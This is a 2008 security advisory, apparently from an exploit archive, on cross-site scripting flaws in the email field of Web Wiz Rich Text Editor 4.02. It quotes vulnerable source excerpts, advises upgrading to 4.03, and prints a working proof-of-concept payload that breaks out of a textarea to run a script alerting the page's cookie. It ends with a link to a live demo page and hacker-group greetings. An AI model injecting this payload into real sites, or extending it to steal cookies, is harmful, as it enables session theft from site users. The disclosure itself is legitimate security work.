-#########                                                                                  [Saved] - [27-07-2008/13:10:02]
#     .: Multiple Cross-Site Scripting Vulnerabilities in Web Wiz Rich Text Editor version 4.02 
#     .: [Author]              CSDT
#     .: [Affected versions]   http://www.webwizguide.com/ - Web Wiz Rich Text Editor (RTE) 4.02
#     .: [Credit]           The disclosure of these issues has been credited to autehoker of CSDT 
# ÷_____________________________________________________________________________________________ˆ 
#     .: [Script Description] 
#    (Description Provided by CVE) : Multiple cross-site scripting (XSS) vulnerabilities in 
#    Web Wiz Rich Text Editor (RTE) 4.02 and earlier, and 3.x versions, allow remote attackers
#    to inject arbitrary web scripting. This flaw exists because the application does not validate 
#    the Link Type ( "Email" ) variables upon submission to the RTE_popup_link.asp script. 
#    This could allow a user to create a specially craftedURL that would execute arbitrary code 
#    in a user's browser within the trust relationship between the browser and the server, 
#    leading to a loss of integrity.
# ÷_____________________________________________________________________________________________ˆ
#     .: [Classification]   
#    Attack Type:     Input Manipulation
#    Impact:          Loss of Integrity 
#    Fix: N/A         Public release vulnz: {27-07-2008 Sun}
#    Class            Input Validation Error
# ÷_____________________________________________________________________________________________ˆ
#     .: [Solution]    
#    Upgrade to version 4.03 or higher, as it has been reported to fix this vulnerability. 
#    An upgrade is required as there are no known workarounds. 
#    Actual Version: Web Wiz Rich Text Editor (RTE) 4.02
# ÷_____________________________________________________________________________________________ˆ
#     .: [References]
#    Original Advisory          http://depo2.nm.ru/WebWiz_Rich_Text_Editor_v4.02_XSS.txt
#    Related Depo2 BugTracker:  http://depo2.nm.ru/WebWiz_Rich_Text_Editor_v4.02_XSS.txt
# ÷_____________________________________________________________________________________________ˆ
#     .: [Manual Testing Notes]
# ÷  
#    Web Wiz Rich Text Editor version 4.02 // RTE_popup_link.asp 
#        
#        function initialise(){
#  var selectedRange = window.opener.document.getElementById('WebWizRTE').contentWindow.window.getSelection().toString();
#           //Use editor selected range to fill text boxes
#           if (selectedRange != undefined){
#            document.getElementById('URL').value = selectedRange
#            document.getElementById('email').value = selectedRange
#          }
# ÷          
#           Select Link Type:    Email    - {Email value not filtered}
#     ¤  span id="mailLink"  
#      ¤  input name="email"  onfocus="document.forms.frmLinkInsrt.Submit.disabled=false;
#   //Line 65 post back   If Request.Form("URL") <> "" OR Request.Form("email") <> "" AND Request.Form("postBack") Then
# ÷
# ÷_____________________________________________________________________________________________ˆ
#    .: [Script Download]     {Free lisans:  http://www.webwizguide.com/download/download.asp?DL=rte} 
#    .: [XSS] U-Code          %3C/textarea%3E'%22%3E%3Cscript%3Ealert('document.cookie')%3C/script%3E
#    .: [XSS] N-Code          </textarea>'"><script>alert(document.cookie)</script> {XSSing.Com - XSS CHEATS Auth. Depo2}
#    .: [ScreenShot]          http://depo2.co.cc/WebWiz_Rich_Text_Editor_v4.02_XSS.jpg
#    .: [Demo]          http://www.webwizguide.com/webwizrichtexteditor/demo/RTE_popup_link.asp
# ÷_____________________________________________________________________________________________ˆ
#    .: [Greetings]
# ÷  
#     .:[shoutz]     L0cKed, Elrohir, xo7, Th3.Azad, Depo2, The_keSsk!N, MadNet, hayalperest, K4R4B3L4
# ÷                  ankuN, row3r, LekHe, M3M4T!, Dr.ExPERT, MuR@T, Bigboss, EjDeRx7, Arslan Yabgu, türk_üz, by.s.s,
#                    makmanaman, İsimsizCod3r, hackerali, **De-PreaM**, DarKWorM, Brian, |_GeCCe_|, BİXİi , EkBeR-I DeRYa
# ÷   
#      .: [SS]       CSDT- Atabeyler TIM - Atabeyler.Org 
-########_______________________________________________________________________________________ ####